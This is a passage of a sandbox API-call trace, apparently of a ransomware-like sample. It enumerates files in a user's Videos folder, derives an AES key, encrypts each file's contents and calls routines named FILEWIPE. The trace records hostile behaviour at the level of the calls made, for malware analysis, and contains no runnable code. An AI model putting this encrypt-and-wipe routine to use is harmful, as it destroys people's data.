lpMsg=0xe8f3dfe5a0) returned 0 [0030.031] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0030.031] CryptReleaseContext (hProv=0xe8f4199650, dwFlags=0x0) returned 1 [0030.031] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0030.031] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0030.031] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0030.031] FreeLibrary (hLibModule=0x7ffe2a590000) returned 1 [0030.031] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0030.031] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0030.031] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0030.031] CloseHandle (hObject=0x1fc) returned 1 [0030.033] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0030.034] CloseHandle (hObject=0x188) returned 1 [0030.034] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0030.038] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0030.038] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0030.038] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0030.038] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Videos\\oY5JzvOHdERZ\\WbfUt1_7AGGQ_cJpAawe\\LDPLZamP.mp4" (normalized: "c:\\users\\5jghkoaofdp\\videos\\oy5jzvohderz\\wbfut1_7aggq_cjpaawe\\ldplzamp.mp4")) returned 0x20 [0030.039] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0030.039] FindFirstFileW (in: lpFileName="C:\\Users\\5JgHKoaOfdp\\Videos\\oY5JzvOHdERZ\\WbfUt1_7AGGQ_cJpAawe\\LDPLZamP.mp4", lpFindFileData=0xe8f3dfe860 | out: lpFindFileData=0xe8f3dfe860) returned 0xe8f406a370 [0030.039] FindClose (in: hFindFile=0xe8f406a370 | out: hFindFile=0xe8f406a370) returned 1 [0030.039] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0030.039] CharLowerBuffW (in: lpsz="byte[70200]", cchLength=0xb | out: lpsz="byte[70200]") returned 0xb [0030.040] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0030.040] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0030.040] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0030.041] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0030.041] LoadLibraryW (lpLibFileName="msvcrt.dll") returned 0x7ffe2a8b0000 [0030.041] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="memset", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0030.041] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="memset", cchWideChar=7, lpMultiByteStr=0xe8f40645c0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="memset", lpUsedDefaultChar=0x0) returned 7 [0030.041] GetProcAddress (hModule=0x7ffe2a8b0000, lpProcName="memset") returned 0x7ffe2a8b1690 [0030.041] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0030.041] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0030.042] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0030.042] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0030.042] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.042] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.042] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.042] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.042] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.042] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.042] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.042] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.042] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.042] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.042] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.042] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.042] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.042] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.042] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0030.043] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0030.043] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0030.044] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0030.044] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=12518) returned 1 [0030.044] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0030.044] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0030.044] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0030.044] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x30e6, lpOverlapped=0x0) returned 1 [0030.044] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0030.044] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x30e6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0030.044] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=12518) returned 1 [0030.044] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0030.044] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0030.045] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0030.045] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f4199650) returned 1 [0030.045] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0030.045] CryptCreateHash (in: hProv=0xe8f4199650, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0030.045] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0030.045] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0030.045] CryptHashData (hHash=0xe8f4062800, pbData=0xe8f418b150, dwDataLen=0x20, dwFlags=0x1) returned 1 [0030.045] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0030.045] CryptDeriveKey (in: hProv=0xe8f4199650, Algid=0x660e, hBaseData=0xe8f4062800, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f40624f0) returned 1 [0030.045] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0030.045] CryptDestroyHash (hHash=0xe8f4062800) returned 1 [0030.045] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0030.045] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0030.047] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0030.047] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x5bfd, lpOverlapped=0x0) returned 1 [0030.047] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0030.049] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0030.049] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0030.049] CryptGetKeyParam (in: hKey=0xe8f40624f0, dwParam=0x7, pbData=0xe8f4064d20, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064d20*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0030.049] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0030.049] CryptEncrypt (in: hKey=0xe8f40624f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x5bfd, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x5c00) returned 1 [0030.050] CharLowerBuffW (in: lpsz="byte[23553]", cchLength=0xb | out: lpsz="byte[23553]") returned 0xb [0030.050] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0030.050] CryptEncrypt (in: hKey=0xe8f40624f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f4385850*, pdwDataLen=0xe8f3dfdf68*=0x5bfd, dwBufLen=0x5c00 | out: pbData=0xe8f4385850*, pdwDataLen=0xe8f3dfdf68*=0x5c00) returned 1 [0030.052] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0030.052] CryptDestroyKey (hKey=0xe8f40624f0) returned 1 [0030.052] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0030.052] CryptReleaseContext (hProv=0xe8f4199650, dwFlags=0x0) returned 1 [0030.053] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0030.053] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0030.053] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0030.053] FreeLibrary (hLibModule=0x7ffe2a590000) returned 1 [0030.053] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0030.053] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0030.053] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0030.053] CloseHandle (hObject=0x188) returned 1 [0030.053] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0030.053] CloseHandle (hObject=0x1fc) returned 1 [0030.054] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0030.055] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0030.055] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0030.055] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0030.055] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Videos\\oY5JzvOHdERZ\\WbfUt1_7AGGQ_cJpAawe\\X9xIG0j.flv" (normalized: "c:\\users\\5jghkoaofdp\\videos\\oy5jzvohderz\\wbfut1_7aggq_cjpaawe\\x9xig0j.flv")) returned 0x20 [0030.056] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0030.056] FindFirstFileW (in: lpFileName="C:\\Users\\5JgHKoaOfdp\\Videos\\oY5JzvOHdERZ\\WbfUt1_7AGGQ_cJpAawe\\X9xIG0j.flv", lpFindFileData=0xe8f3dfe860 | out: lpFindFileData=0xe8f3dfe860) returned 0xe8f406a370 [0030.056] FindClose (in: hFindFile=0xe8f406a370 | out: hFindFile=0xe8f406a370) returned 1 [0030.056] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0030.056] CharLowerBuffW (in: lpsz="byte[23549]", cchLength=0xb | out: lpsz="byte[23549]") returned 0xb [0030.056] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0030.056] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0030.057] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0030.057] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0030.057] LoadLibraryW (lpLibFileName="msvcrt.dll") returned 0x7ffe2a8b0000 [0030.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="memset", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0030.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="memset", cchWideChar=7, lpMultiByteStr=0xe8f40646d0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="memset", lpUsedDefaultChar=0x0) returned 7 [0030.058] GetProcAddress (hModule=0x7ffe2a8b0000, lpProcName="memset") returned 0x7ffe2a8b1690 [0030.058] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0030.058] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0030.058] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0030.058] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0030.058] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.058] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.058] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.058] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.058] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.058] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.058] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.058] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.058] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.058] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.058] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.058] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.058] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.058] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.058] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.058] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.058] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0030.060] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.060] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.060] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0030.060] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0030.060] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0030.060] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0030.060] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0030.060] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0030.060] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0030.060] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0030.060] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0030.060] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0030.060] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0030.060] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0030.060] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0030.060] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0030.061] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0030.061] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0030.061] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0030.061] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0030.061] PeekMessageW (in: lpMsg=0xe8f3dfebe0, 